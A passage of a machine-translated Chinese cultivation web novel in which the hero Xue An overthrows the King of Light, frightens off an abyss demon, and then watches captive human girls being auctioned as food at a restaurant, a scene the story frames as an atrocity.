    The King of Guangming did not say a word, which was regarded as acquiescing to Xue An''s words.


    Xue An went on and said: "Actually, you don''t need to use so many spirit crystals to cash out. I just want to ask you a few things. As long as you answer truthfully, I will leave immediately!"


    The King of Light looked astonished.


    Xue An said, "The first question is, you are salivating for the earth, then what happened to the earth?"


    The complexion of King Guangming instantly turned pale.


    Xue An ignored it, and then asked, "Who is it that secretly instructed you to deal with the descendants of the Evil Flower? Where did that guy go?"


    "Tell me this, I can let you go!"

 Chapter 1623： Step by step

    Sally quietly retreated to her father''s side, looking at Xue An with a guarded face.


    The complexion of the King of Light changed, and finally he sighed slightly.


    "Why are you doing this again! I have repeatedly tolerated, even at such a huge price, so isn''t it good for you to leave after taking things? Do you have to ask the bottom line?"


    "Could it be that these two issues are more important than those 250 billion spirit crystals?"


    The King of Light was puzzled.


    Xue An nodded, "You''re right. In my eyes, these two issues are far more important than the so-called spirit crystals, because I want to know who it was that committed a terrible crime to the creatures on the earth. offense!"


    The God King of Guangming looked surprised, "Just because of this, you will not hesitate to chase here?"


    "Is this something?" Xue An asked back, "In your eyes, the birth and death of hundreds of millions of creatures is just this matter?"


    The King of Light was silent, and finally took a deep look at Xue An and couldn''t help but said: "I really don''t understand. How can a strong man like you care about this? Is it because of that ridiculous sense of morality?"


    Xue An stretched his hands, "Look, this is the problem! In the eyes of you gods who think that they are superior, the sense of morality is ridiculous! But in my opinion, any life is worthy of respect, especially the creatures on earth. !"


    The King of Light was silent, and it was not until a long time later that he raised his head to look at Xue An, "The two questions you asked, I can only say...no comment!"


    Xue An seemed to have expected this ending a long time ago, and couldn''t help but sigh, "It''s a pity! Then I can only ask you to die!"


    As soon as this statement was made, the expressions of many gods in the audience changed wildly.


    Especially this Sally, the guards in the distance winked wildly.


    People began to quietly gather around, encircling Xue An.


    The King of Light was hesitant. For Xue An, he had not been able to see through the clues, but an ominous premonition kept in his heart, making him tremble.


    So he finally said: "Is there really no room for recovery?"


    Xue Anhao leisurely said: "Yes, tell me the answer to the question, I can let you go!"


    "You know, it''s impossible, because once I tell you, then I have to die too!"


    "So... you go to die now!"


    As soon as Xue An''s words fell, Sally roared, "Do it!"


    With an order, all the guards worked together to completely block Xue An in it.


    boom!


    The violent explosion caused everyone to retreat.


    Sally sneered.


    No one can survive such an explosion, not even gods.


    Therefore, this person must die.


    "Father, you don''t have to worry, this person who dared to yell at you is dead!" Sally said respectfully.


    But she did not wait for the approval from the father, but was silent.


    This couldn''t help but raised her head in a daze, and then she was dumbfounded.


    Because the avatar of the King of Light, who was still in front of him just now, has disappeared without a trace.


    what happened?


    Why did Mr. Father leave suddenly?


    Could it be that he had expected that he would kill this guy?


    These questions just came to my mind.


    Amidst the continuous explosions, Xue An, dressed in white, walked slowly out of the middle, calm and relaxed, and even his hair was not messed up.


    Seeing this scene, Sally took a breath, her pupils instantly shrank to the size of a needle.


    how is this possible!


    How could he walk out of the explosion center unharmed?


    At the same time, I saw Xue An looking around the audience, and then sighed softly: "It''s so pitiful! I didn''t know it as an abandoned child! Well, I will send you on the road first!"


    Abandoned?


    This word made Sally horrified, and combined with Father Wang''s farewell without saying goodbye, she immediately understood it.


    It turns out that Lord Father has long known how powerful this human youth is, so he used us as a shield, and did he take the opportunity to escape?


    Although I don''t want to believe this is true, facts speak louder than words.


    And Sally''s reaction was not unpleasant, she only yelled, "Stop him!"


    But after saying this, she didn''t go forward and retreated, and then ran out frantically.


    The guards didn''t understand, so they all rushed up according to Sally''s orders.


    Xue An did not show mercy.


    For these races that are accustomed to arrogance and killing, any mercy is a crime against the creatures who died in their hands.


    So Xue An exhaled, raised his fist, and blasted out!


    This punch was like taking away all the vitality of the audience.


    The nearest guards turned into powder without even humming.


    When the rest of the people saw this horrible scene, they were scared to death, and they wanted to escape if they had the chance.


    But everything is too late.


    The power of fist spread quickly, wherever he went, flesh and blood flew all over him.


    Sally''s scalp was numb when she heard the sound of brokenness and screams coming from behind her.


    But before she stepped out of the casino door, a light sigh came from behind.


    "The blame is that you are usually too arrogant! So... go on the road with peace of mind!"


    "No!" Sally screamed, her speed suddenly accelerated a lot.


    But no matter how fast it is, it cannot be as fast as Xue An''s sword.


    Seeing a strand of sword light flying in the sky.


    With a pop, blood splashed everywhere.


    Sally stopped and stood still, her eyes full of horror.


    Xue An didn''t even look at her, passed by, and walked straight to the temple in the center of the city.


    When Xue An''s footsteps were gone, a light red blood line suddenly appeared on Sally''s throat.


    Immediately after that, the blood line expanded rapidly, and then Sally threw a plop and fell to her knees. The brilliance in her eyes quickly faded as the blood passed, and she finally fell to the ground and was wiped out.


    That''s right!


    With just a single sword, Xue An wiped out the spirit of this **** with the blood of the **** king.


    I don''t know when the wind started outside.


    It seems to be in a sense, the whole city is terribly quiet, even those who are usually arrogant and arrogant, at this moment are honestly hiding in the dark corner shivering.


    Xue An is not in a hurry walking step by step.


    But with every step he took, the momentum on his body became violent.


    In the end, the power on his body soared to the sky, and it was so strong that it was almost substantive, and even changed the situation that was disturbed by most of the sky.


    Luo Lanting looked at Xue An''s back with eyes full of admiration.


    She didn''t expect that the killing of Jiuzhongtian that Xue An said before was not a metaphor, but that she really wanted to do it!


    Such a demeanor, how can we not make Luolan Pavilion moved.


    at last.


    The central temple is here.


    But when Xue An''s feet just stepped into the Central Temple.


    An extremely bright light suddenly appeared in front of him, and then countless holy light angels appeared in the void, blocking Xue An''s path.

 Chapter 1624： Easy with Momo

    The light coercion formed by the gathering of so many holy light angels is enough to move any strong person.


    But Xue An didn''t even lift his eyelids, but took a step forward quietly.


    Boom!


    It seemed that a war drum had hit everyone''s hearts.


    The extremely violent power instantly strangled this so-called light coercion.


    Even the Holy Light Angel who was a little closer was not immune, and was directly blasted into nothingness.


    This scene shocked the angels of the Holy Light.


    Then Xue An took another step forward.


    At this time, these holy light angels couldn''t help but back away.


    Xue An saw a cold smile at the corner of his mouth, and then said calmly: "If you stop me, kill me!"


    After all, Xue An took another step forward.


    At this time, these holy light angels finally couldn''t bear it.


    Almost at the same time, these holy light angels ran away, like birds and animals.


    But Xue An did not intend to let them go.


    I saw him gently raise his hand, "Cut!"


    The endless sword light was born directly from the light, and then strangled everything around it.


    The wings fell and the blood exploded.


    In this almost weird scene, Xue Anyou walked steadily, walking to the depths of the temple.


    Just when Xue An came to the depths of this temple to kill.


    The King of Light, who had turned into his body, also opened his eyes, his face full of dignity.


    He has always believed in his instincts.


    But his instinct now tells him that if he opposes this young man from this earth, he will end up miserably.


    But if you really answered those two questions, your fate would not be much better.


    It is under this dilemma that he will resolutely abandon the casino, and even his daughter will be regarded as an abandoned son.


    The purpose is to procrastinate for a while.


    But the King of Light, all this is just a stopgap measure.


    The fallen gods of light couldn''t stop Xue An at all.


    Soon, he will be here.


    So he needs to make a decision in such a short time.


    Thinking of this, the face of the King of Light finally showed a decisive look.


    Although I really don''t want to do that kind of transaction anymore, because the King of Light knows that, just like the D product, it will be addictive and eventually lead to destruction.


    But it''s a matter of life and death, so I can''t care about that much!


    Making up his mind, he ran to the secret room where the wheel of fortune was previously stored without hesitation.


    Those broken wheels of destiny were still scattered on the ground, but the King of Light ignored them. Instead, he walked to the middle position and drew a ciphertext.


    Click!


    There was a gap in the ground, and in the gap there were steps winding down, as if leading into hell.


    The King of Light rushed into it, and after a while he came to a more secret room.


    This secret room suddenly looked like a conference room, and a huge conference table occupies most of the space.


    But there was only one chair at the conference table.


    This is a chair that is luxurious in shape and material. The scarlet leather cushion is filled with seductive luster, which makes people want to sit on it.


    The God King of Guangming gritted his teeth secretly, and then sat on the chair.


    There is nothing unusual, not even extra noise.


    But at this moment, on the opposite side of the conference table, a cloud of dark, evil, and at the same time weird and unspeakable mist suddenly appeared.


    Immediately afterwards, a strange laugh came from the mist.


    The laughter was full of sticky and evil connotations, just like a poisonous snake in the tropical rain forest, making people shudder just by listening.


    "Your complexion is terrible! Is there anything I need help from God?" The voice was hoarse and unpleasant, but it gave people a sense of extreme temptation.


    The King of Light took a deep breath and nodded, "Yes! I need your help on one thing!"


    "Hehe, it''s really surprising, you haven''t come to me for a long time, but it was because of the wheel of fortune last time, why? What tricky things have you encountered? That makes you such a self-proclaimed **** not hesitate to ask for help To an abyssal demon like me?"


    If there are other people present, they will be frightened and dumbfounded after hearing the words Abyss Demon.


    Because the abyss demon is a very strange existence.


    They have power beyond imagination, but take pleasure in temptation and playing with their souls.


    Even in the abyss, they are daunting existences.


    You must know that the abyss is the largest in volume among the heavens.


    How big it is, has always been an unsolved mystery.


    Even now, no one can detect the bottom of the abyss.


    Among them, the various weird and powerful races are countless.


    But the demon is the number one existence among the known races in the abyss.


    Even some weak people will be completely crazy just by looking at them.


    Unexpectedly, the King of Light had an unspeakable deal with this existence.


    The King of Light ignored the cynicism in the devil��s words, but he said solemnly: "A person is chasing me! I am not his opponent, so I want to ask you to kill him!"


    "Oh? You are not an opponent? Are you the one who broke the wheel of fortune?"


    "Yes!"


    "Gluck, well, give me his face so I can calculate what price you should pay for it!"


    The King of Brightness had been prepared for a long time, and immediately sent a spirit of Xue An''s image into the mist.


    The mist began to surge.


    The King of Light sat quietly on the chair, waiting for the devil''s response.


    As he did before.


    Upon request, the demon figured out the price he had to pay, then bargained with him, and finally settled the deal.


    Although these abyss demons are extremely evil existences, it must be said that their abilities are extremely powerful, and they have always believed in words.


    As long as you can pay the same price, you can get almost everything you want.


    This time is no exception.


    And this is the killer of the King of Light.


    At least no one can escape the obliteration of these abyss demons.


    Even before, the King of Light had asked what it would take to obliterate the existence in the high-level city of Lost Paradise.


    At that time, the devil gave an extremely outrageous price, which the King of Light could never afford.


    But this at least proves that it can indeed obliterate those advanced existences.


    But this time, the King of Light was ready, as long as he could wipe out Xue An, he was willing to give everything.


    But at this moment.


    The surging mist suddenly began to converge inward, and then I saw a huge rabbit looming in the mist.


    This was the first time that the King of Light saw a real object appearing in the mist, so he asked quickly.


    "What price do I have to pay?"


    Hearing this, the rabbit raised his head and stared at the King of Light with extremely hateful and sulky eyes.


    "You can''t pay the price!"


    "What?" God King Guangming was taken aback and wanted to continue to ask.


    The rabbit continued: "Not only you, no one among the heavens can pay this price!"

 Chapter 1625： Even the devil is afraid of existence

    "But aren''t you omnipotent?" God King Guangming eagerly shouted.


    The rabbit was silent for a moment, and then faintly said: "Yes! We demons have always upheld the principle of equivalence. As long as we pay a sufficient price, then we are omnipotent! But the person you want to kill is an exception!"


    "Exception? What do you mean?"


    "Meaning, we are not his opponents! We don''t even want to get the slightest causality with him!"


    Speaking of this, the rabbit suddenly became angry, "The result is that you are an idiot, let us be exposed to his eyes, but I will not kill you, because you will die!"


    As he said, the rabbit''s figure began to shake and gradually became blurred.


    In contrast, the chair where God King Guangming was sitting also began to become mottled.


    But he ignored these, just muttered with a dull face.


    "How is it possible! Isn''t even the devil your opponent? So what is your origin?"


    At this moment, a loud bang suddenly came from outside the door, and then the huge door fell down suddenly, arousing smoke and dust.


    In the midst of all the smoke and dust, Xue Ankuan walked in, his eyes swept across the room, and then smiled slightly.


    "What? Do the gods who serve the light actually make deals with these demons?"


    As he said, Xue An turned his head to look at the huge rabbit that was about to disappear, and said lightly: "You abyss demons are not waiting at the bottom of the abyss, do you want to mix with me?"


    The giant rabbit screamed, and then hurriedly explained: "My lord, all this is a misunderstanding. I will appear here because of the self-assertion of this idiot, but we demons will never dare to oppose the adults!"


    "Okay!" Xue An waved his hand, "I don''t want to hear an explanation. I should wait for me to go to the abyss personally in the future to talk about this matter!"


    Regret and fear appeared in the eyes of the giant rabbit, but in the end he could only bow his head deeply, "Yes!"


    After all, it returned to the fog, and then disappeared.


    Snapped!


    The chair on which the King Guangming was sitting was also turned into powder.


    This chair is the medium through which the King of Light can communicate with the Abyss Demon.


    Now that the chair is broken, it means that the Abyss Demon has severed this connection.


    The King of Light naturally understood what this meant.


    Actually even the devil abandoned himself.


    This illustrates a terrible fact.


    That is, the young man in front of him is afraid of the abyss demon.


    Thinking of this, the regretful intestines of the God King of Guangming were all blue. Of course, if he had intestines.


    "Let''s talk, what are the other tricks, use them together now! Otherwise, there will be no chance for a while!" Xue An said lightly.


    The King of Light suddenly raised his head, his eyes were full of despair, "My lord, do you really want to know what happened to the earth?"


    "of course!"


    "But the fruit of this question is too heavy. If possible, I advise you to not bother about it!"


    "Causality is too heavy?" Xue An showed a faint smile, "I am not afraid of carrying cause and effect! And now Li Heng Tianjun, the star lord Ziwei has died in my hands! Do you think other people still have it? Can you hide it?"


    "What? Lord Lihentian and Lord Ziwei are dead?"


    "Do you think I need to lie to you?" Xue An said lightly.


    The king of light shivered!


    Yes!


    He didn''t need to lie to himself about this kind of thing, but after hesitating for a long time, he still sighed softly: "My lord, although you can kill the gods such as Lihentianjun, they are just little ones! Really big people! , It��s something you can��t imagine......"


    As soon as he said this, the King of Light suddenly began to tremble violently, and at the same time the light around his body flickered, as if it would explode at any time.


    Seeing this scene, Xue An''s eyes drenched and rushed to the front in an instant.


    at the same time.


    The King of Light screamed hysterically, "It''s them! They know I''m talking about this, so they want to kill me! Save me!"


    Xue An stretched out his hand and grabbed the shoulders of the King of Light, and then frantically instilled his cultivation base in an attempt to stabilize his divine personality that was about to collapse.


    But nothing helps.


    The body of the King of Light was rapidly disintegrating.


    "No, I don''t want to die! Your lord, save me!" The God King Guangming burst into tears with fright.


    Xue An could only shook his head silently, "No way, this is a causal mystery that was set in your godhead a long time ago! Once you mention taboos, then everything you have will be directly obliterated! "


    The God King of Guangming was shocked and finally understood the root of everything, and then he almost laughed wildly.


    "No wonder! It''s ridiculous that I still think I''m a dog for others, but in the eyes of those people, I''m not as good as a dog!"


    Speaking of this, the body of the King of Light is rapidly disintegrating.


    But he still can''t mention anything about those people, because this is the highest authority set in him.


    He could only hold Xue An''s hand with all his last strength, and then shouted at the last moment: "My lord, I can''t say their names, but I can only say that those people are very evil. The existence of flowers belongs to a group!"


    The voice just fell.


    The body of the King of Light completely exploded.


    The immense power instantly swept the entire temple and spread around.


    boom!


    The whole city trembles under the tremendous power of this explosion.


    The boundless power of light instantly wiped out most of the city. As for the location of the original temple, it left a huge pothole, and even the city below could be seen through it.


    Xue An walked out of the clouds, silently watching the miserable condition under his feet.


    He flew out of the temple at the last moment of the moment, so Xue An was unscathed at this moment.


    At this time, Luo Lanting walked over with a pale face.


    "Big...sir, what did the King of Light say?"


    Xue An said lightly: "He said a lot, but he didn''t say anything!"


    The face of Luolan Pavilion is confused I don''t understand what this means.


    At this time, Xue An raised his head to look at the layers of the city above the sky, and said lightly: "You are so passive even when you are involved, how powerful are these people?"


    After this battle, the fourth-tier cities where the bottom rank is located almost disappeared.


    The Guangming clan is all annihilated.


    But Xue An did not leave immediately, because he needs to think carefully about how to go on the next road.


    In the ghost world, Wei Li''s time skills obviously came from Paradise Lost, so who taught him?


    Also, he finally sent Qian Xirui into Paradise Lost, and who was he trying to cheat?


    These questions crammed in Xue An''s mind, and gradually overlapped with the Evil Flower.


    He had a foreboding that the mystery of the Chinese massacre was about to be put together!

 Chapter 1626： Monsters and ghosts

    With such a big event at the bottom level, the people in the upper cities are naturally not blind.


    Almost at the same time, a letter of inquiry from the upper-level city was sent.


    This letter hovered over the place where the central temple was before, obviously searching for the breath of the King of Light.


    Unfortunately, all this is destined to be futile.


    At this moment, a hand that looked like a sapphire jade stretched out from the side and grabbed the letter.


    Xue An opened the letter, glanced briefly, and then a sneer appeared on his face, and the letter shattered with a pinch.


    "My lord, what did it say?" Luo Lanting asked curiously.


    "Nothing! The next-ranked gang asked what happened to the King of Light and why there was such a big battle!" Xue An said lightly.


    "Oh!" Luo Lanting nodded, "Then what shall we do next?"


    "Of course I will continue to the next level! But I have to return this letter, so I don''t have to wait for it, it''s already scaring the snake!"


    With that said, Xue Anxin wrote a letter in the air, and then waved his hand, and a beam of light was poured into the letter.


    Luo Lanting''s eyes widened.


    The power of light displayed by Xue An is pure and soft, and it is indistinguishable from the true and false displayed by the King of Light.


    Xue An also felt the surprise of Luo Lanting, but he just smiled slightly, "You have to make a full set to do the show! And it''s just a bright power, nothing difficult!"


    After all, this reply disguised as the King of Light soared into the sky and flew to the next level.


    After doing all of this, Xue An said calmly: "This letter paper can win at least three days, which means that we have to cross the three-tier city within three days and go to the next level on the eighth floor!"


    "Time is running out, let''s fix it a little bit and leave now!"


    "Yes!"


    Next, Xue An and Luo Lanting cleared the battlefield a bit.


    Xue An even wiped out the many treasures left by the King of Light. Anyway, it would be cheaper for others to stay. It would be better to put it away by himself, and it would be regarded as the little interest charged by the King of Light for squeezing the followers of the earth for so many years.


    After finishing all this, Xue An flew up with Luo Lanting, and soon disappeared into the sky.


    Until the two of them have completely gone away.


    Those who survived poked out their heads tremblingly.


    After seeing the devastation in the city, the faces of these people were all pale and terrible.


    They could not breathe at all for the violent power shown by Xue An before. Now they finally had a chance to breathe, but they were stunned by the tragedy before them.


    Especially when they saw the grand and majestic central temple of the past, it had become a big pit at this moment, and they were shaking as if they could not even speak.


    After a long time, someone swallowed hard and said tremblingly: "Who is this... who is this person? Why is there such a strong strength? Even the entire Guangming Protoss is not his opponent?"


    "I guess it might be a strong man from the upper city! Otherwise, it wouldn''t be so good!"


    "Well, I think so too, is it a subordinate person?"


    "Hehe, although the second-ranked people are powerful, it is impossible to kill the Guangming clan directly, so I think... it should be a higher-ranking existence!"


    Hearing this speculation, many people were even more silent.


    The existence of higher rank...


    This seems to be an existence they dare not even think of.


    And if this is the case, then this matter can be described as full of strangeness.


    After all, the existence of higher ranks has always been higher than the upper ranks, not to mention the lower ranks, even the lower ranks rarely have their people appear.


    This time it came suddenly. What does this mean?


    Could there be any hidden secrets in it? Is it even involved in the struggle between sub-level and high-level?


    When I think of this problem, many people''s faces change.


    Because this kind of thing that involves high-level struggles, once contaminated, it will be a disaster for them.


    At this point, the crowd who had just gathered around to watch the excitement immediately spread out.


    People who can survive in Paradise Lost may not be very strong, but there is absolutely no fool.


    The taste of conspiracy revealed in this incident naturally made many people avoid it.


    There are even those who are ready to flee the fourth-tier city immediately, even if they first take refuge in the city below, it is better than waiting for death here tremblingly.


    I want to explain here that the discrimination between these 13 cities in Paradise Lost is extremely serious.


    Even if it is only one level higher, it will be full of contempt and disdain for the people in the lower cities.


    If it is not a very special situation, almost no people from higher-level cities will go to lower-level cities.


    This is also the reason why the bottom rank has such a big deal, but the second rank only sent a letter of questioning.


    But now these survivors don''t hesitate to hide in the lower-level cities to take refuge, which shows how scared they are.


    Of these, Xue An naturally did not know.


    At this moment, he led Luolan Pavilion to the fifth-tier city.


    Because the structure of the thirteen-story city in Paradise Lost is very special, if you want to go up, you have to fly up layer by layer.


    Other than that, there are no shortcuts.


    And each climb up one level means more resources, larger area, and stronger strength.


    The fifth-tier cities have broken away from the lower ranks and belong to the jurisdiction of the lower ranks.


    In addition, this place is located at the junction of the two levels, which makes this city extremely prosperous.


    And walking on the street, you can see almost all races in the heavens.


    Demons and ghosts, demons and ghosts, there is almost everything.


    In contrast, Xue An and Luo Lanting, who were walking during the walk, seemed less noticeable.


    Even because of their "weakness" and "slenderness~ they attracted a lot of implicitly unkind eyes.


    Facing these gazes, Luo Lanting''s complexion turned pale. Although she tried to make herself appear calmer, she couldn''t help the tremor in her heart.


    This has nothing to do with courage, but because of the difference in strength, her aura is not controlled at all.


    In contrast, Xue An did not have any extra looks, but looked at the shops on the street with interest.


    I have to say that compared to the lower-level cities, this place is much cleaner.


    Even the shops on the street are magnificent and full of dazzling arrays.


    Xue walked quietly, but suddenly, he seemed to feel something.


    The smile on his face instantly diminished, and there was a chill in his eyes.


    Luo Lanting naturally also felt the cold killing intent from Xue An, but she did not dare to ask, but stood silently behind.

 Chapter 1627： Prior inspection

    Xue quietly stood for a moment and continued to walk forward!


    at last.


    The two of them walked to a building in the middle of the street.


    The building is very large and the guests coming and going in front of it are very lively.


    And standing on the street can smell the tangy aroma coming from the building.


    Needless to say, this is obviously a restaurant.


    Xue An stood in front of the door, looked up at the building, without saying a word, his face sank like water.


    Luo Lanting stood behind, feeling a little surprised.


    Sir, what''s wrong?


    Are you planning to go in for dinner?


    But why didn''t you stand in front of the door again?


    At this moment, Xiaoer, who was standing in front of the door and was responsible for greeting the guests, also saw Xue An and his eyes lit up.


    You must know that anyone who can stand in this position to greet guests must have extremely vicious eyes.


    Which one is powerful, and which one has its appearance!


    These shops can tell at a glance.


    So when he saw Xue An, he immediately saw that although the white-clothed boy was seemingly invincible on the surface, his temperament was as if it were Yuan Yue Zhi.


    In addition, the little maidservant with two pony tails standing behind him all demonstrates this person''s extraordinaryness.


    It seems that it is most likely a descendant from a certain family!


    Thinking of this, the smile on the face of the shop''s Xiaoer couldn''t help getting stronger, and he quickly greeted him.


    "My lord, do you want to eat?"


    Xue An retracted his gaze and glanced down at the shop''s Xiaoer.


    This glance made the shop Xiaoer even more secretly surprised.


    The look in his eyes was so quiet, it was almost like a pond.


    Therefore, his smile became more humble, "My lord, our Zhanxianglou is a famous restaurant in the entire Paradise Lost. If you want to eat, you must try it!"


    Xue An didn''t change his expression, he didn''t even pay attention to the second person in the shop, but walked straight into the building.


    The store''s little Er was overjoyed and hurriedly followed.


    Luo Lanting was slightly confused, wondering what happened to Xue An?


    Why is it so cold all of a sudden.


    As the second person in this shop said, this restaurant is indeed large enough.


    The hall alone is extremely magnificent and magnificent.


    After Xue An came in, the second person from the store graciously led Xue An up a step and came to a platform.


    "My lord, what do you think of this place? Directly overlooking the entire hall, the location is perfect!"


    Xue An was silent and sat directly on the chair.


    quickly.


    Spicy tea served.


    "My lord, what do you think you plan to eat?" Xiaoer asked with a smile while holding an exquisite menu.


    Xue An didn''t even look at it, but said indifferently: "I don''t eat!"


    The smile on Xiao Er''s face instantly became a little stiff, "But you..."


    He just wanted to say that if he doesn''t eat, he can''t sit in such a place.


    But before he could finish speaking, a few top-grade spirit crystals smashed on his face, making him silent.


    Xue An turned his head and glanced at him, "Is that enough?"


    The shop''s little Er had a few big bags on the face that was smashed by Lingjing, but he smiled so much that he could not even see his eyes, "Enough enough! This is simply too much!"


    You must know that he usually serves guests for a whole day, and at most he can only get an ordinary spirit crystal.


    Today, this young man in white had a handful of superb spirit crystals.


    This can''t help making this shop Xiaoer more fortunate to look at him.


    This is definitely the youngest brother from a certain family, otherwise the shot would not be so lavish!


    At the same time, Xue An flipped through the menu on the table, and then said lightly: "I can''t see anything on these menus! But if there are any fresh dishes, I can try it!"


    Hearing this, the shop Xiaoer''s eyes lit up, and then took a step forward, lowered his voice, and said with a smile.


    "It turns out that my lord came here after hearing about the name of our Zhanxianglou! Then you are right this time. I heard from the shopkeeper that a batch of top-quality goods came in recently, and today I am going to try the dishes! "


    "Extreme goods?" Xue Anyi asked pointedly.


    The shop is double-focused. "Absolutely best!"


    "That''s good! Then I will open my eyes!"


    With that, Xue An threw another spirit crystal in his hand.


    The shop Xiaoer patted his chest with excitement and promised, "Don''t worry, my lord, I will do it properly, and you are satisfied!"


    After that, he turned and left excitedly.


    But he didn''t even notice how cold Xue An''s eyes looked at his back.


    "My lord! What the **** is the best product this person is talking about?" Luo Lanting couldn''t help asking.


    Xue An was silent for a moment, and finally whispered: "Soon, you will know!"


    At this time, Zhanxianglou became more and more hot and noisy.


    This time the "test dishes" obviously shocked many people.


    At least there are many people in the hall rushing towards this.


    I saw that all of them didn''t think about it, and they were all excited and whispering to the people beside them.


    Some even started to drool along the corners of their mouths.


    Obviously they are looking forward to something.


    at last.


    After another full meal, the shopkeeper returned and said to Xue An with a smile on his face.


    "My lord, it''s all ready! The inspection will begin soon! If you are interested in something, you can tell me and I will arrange it for you!"


    Xue An was noncommittal.


    At this moment, a long iron cage arrived from the back of the hall.


    These iron cages were completely covered by red cloth, and there were magic circles attached to them, making it impossible to see what was inside.


    Then I saw a middle-aged man with a big belly come to the front of the stage and smiled at the crowd.


    "This time, it took us a lot of effort to collect the goods in Zhanxianglou. You must have been waiting for a long time, so let''s not say much. Let''s start the inspection now!"


    Following the voice, a servant tore off the red cloth from the cage, revealing the situation inside.


    Luo Lanting''s eyes instantly rounded and then there was anger in his eyes.


    Because just in these iron cages, hundreds of human women were imprisoned.


    These human women are only seventeen or eighteen years old, and the younger ones are only twelve or three.


    Everyone is wearing brand new clothes, but still can''t hide the deep despair and panic on their faces.


    Especially when exposed to the eyes of everyone, these women all screamed, and then curled up into the corner, shivering.


    But this kind of weak performance not only failed to arouse people''s sympathy, but aroused the animality of many people, making the audience more and more noisy.


    Some aliens looked at these human women greedily, and the saliva in their mouths kept flowing down.


    The middle-aged man chuckled, "You must have seen the goods this time, so let''s try the dishes first!"

 Chapter 1628： Like a pig

    Wow!


    Accompanied by the harsh metal rubbing sound, the door of the iron cage was pushed open.


    These girls trembled all over, and then crazily crawled into the corner away from the cage door, looking at the fierce servants outside the cage with horror.


    The middle-aged man said lightly: "Boom them out!"


    "Yes!"


    The servants immediately picked up the sticks in their hands, and stabbed them frantically through the gaps in the iron cage.


    One end of these clubs was cut into a pointed shape and stabbed on a person, which was a big bruise at the time.


    These girls screamed lowly, but even so, they still clung to the cage and refused to go out.


    The middle-aged man frowned slightly.


    Feeling the man''s displeasure, these servants paled, and there was a cruel look in their eyes, and then someone plunged into the cage, grabbed the girls'' hair and started dragging them out.


    "My lord!" Standing on the high platform, Luo Lan Pavilion, who had witnessed the whole process, finally couldn''t help it, and said in a low voice full of anger.


    Xue An''s face was sinking, and his eyes flashed with cold killing intent, but he didn''t make any more movements. He just said in a deep voice: "I saw it, don''t worry, and watch it!"


    Although Luo Lanting was very reluctant, Xue An had said so, and she could only be silent.


    At the same time, the servants dragged all the girls out of the iron cage, crying in the hall, making Luo Lan Ting turned his head and couldn''t bear to look any more.


    At the same time, her mind was full of doubts.


    Sir, what are you going to do?


    Why don''t you do anything when you see something like this? Need to look again?


    If Xue An didn''t plan to do it, Luo Lanting would never believe it.


    After all, after this period of contact, Luo Lanting believes that adults are definitely not that cruel person.


    Xue An''s eyes flickered, looking at these tearful girls, his heart was full of coldness.


    The reason why he didn''t do it, just wanted to see what it meant to test dishes among these people!


    And Xue An thinks far more profoundly than Luolan Pavilion.


    Now he can save these girls, but what about?


    What if these people continue to do evil after they leave?


    Therefore, in order to completely eradicate this phenomenon, this entire chain of interests must be cut from the source.


    Otherwise, everything will rekindle.


    At this time, many foreigners in the hall could not restrain the greed in their hearts, and stood up to criticize these girls.


    "This is not bad, the body is plump, and it is only twenty-eight years old!" a big bearded man grinned.


    "Hey, I like the one next to me better. Look at the little crying pear blossom with rain. It''s so pitiful! Such a lady crying miserably when she eats it, she screams and The begging for mercy sounds enjoyable!" said a man with a triangular head.


    "What''s the point of that, it''s skinny like spare ribs, it''s not interesting to eat! I still think that is good, how white you look at it! This skin is peeled off to make a blanket, it must be a good raw material!" The bearded man became more excited as he spoke.


    The people next to them are also talking about these girls.


    In their mouths, the fat, thin, long and young of these girls have become the conditions that determine their worth.


    Some like thin ones, some like fat ones!


    But no matter what kind of speech, it sounds so awkward.


    Because these words do not sound like talking about human beings who are also intelligent races, but rather like picking up a group of pigs and dogs in a slaughterhouse.


    Such horrible remarks were naturally heard by these girls, and they were trembling all over, and the despair in their eyes was almost overflowing.


    In the eyes of these aliens, is he a tool to vent animal desires and eventually be eaten?


    There is nothing more desperate than this!


    Listening to these words, Luo Lanting was about to be blown up.


    She was born in Paradise Lost, and she is usually a murderer.


    But all the people she killed had cause and effect, and she had never abused others because of her own desires.


    What''s more, these people, like her, are all human women, which naturally made her angry.


    Xue An still did not speak, but stared coldly at the situation in the field.


    At this moment, the famous shop Xiaoer came over again with a flattering expression.


    "My lord, the food test will begin soon. If you are interested in it, you can tell me at any time, and I will arrange it for you! But as soon as possible, otherwise it will be troublesome if someone else gets listed first!"


    "Oh? Test dishes?" Xue An smiled coldly, "What is test dishes?"


    "Hey, it seems that this is the first time for an adult to come to us, don''t worry, you will know what it means right away! It will be an eye-opener for you at that time!" Dian Xiaoer smiled mysteriously.


    As soon as the voice fell, I saw a servant picking up the whip in his hand. According to these girls, it was a whip.


    Snapped!


    After a crisp sound.


    These girls screamed.


    "You bastards, stand up and dance for me!"


    The girls stood up tremblingly, and then began to dance.


    And while jumping, these servants also waved their whips, drawing at the absent-minded girls in the crowd from time to time.


    Happiness!


    Every time the whip goes down, the dresses of these girls will shorten a bit, revealing that shiny skin.


    In this situation, these girls can only dance while crying.


    And this situation aroused the animality of many foreigners in the audience.


    Some people let out a burst of excitement howling, which makes people horrified.


    The middle-aged man smiled and said, "Jump well, or you will die now!"


    Luo Lanting couldn''t control the anger in his heart. He took a step forward and waited for the attack.


    At this moment, Xue An waved her hand to signal her not to act rashly, then turned her head and asked the shopkeeper.


    "Is this what you call the test dish?"


    The shop Xiaoer smiled, "Yes, my lord, this is the test dish! And our shopkeeper just said very clearly If these women do not perform well, once no one chooses them on the spot, then the rest People will be eliminated immediately!"


    "Eliminated?"


    "Yes! The exact meaning is that it becomes useless waste! It is possible to reward these servants, but more of them are fed to the demon dogs in the backyard!"


    What Xiaoer Dian said was an understatement, but Xue An��s pupils shrank in an instant, and then asked meaningfully: ��So what about these selected ones?��


    "The selected ones will naturally be managed by the owner! You can eat them, or you can play for a few days before eating them. Are they all toys anyway?" The shop Xiaoer said very naturally, naturally to the degree of chilling.


    It was as if these girls weren''t real people at all, they were toys for people to enjoy.


    Xue was silent for a moment, and then nodded with a smile, "According to you, whether these girls are selected or not, they must die!"


    "The same can be said, oh my lord, have you chosen? Others are already bidding!" Xiao Er asked a little eagerly.

 Chapter 1629： I bought them all

    eally.


    There were shouts from the crowd.


    "I want the second woman from the left in the front row!"


    "I want the one in red next to me!"


    "Me too! I bid three spirit crystals!"


    For a time, shouts filled the hall, making it extremely lively.


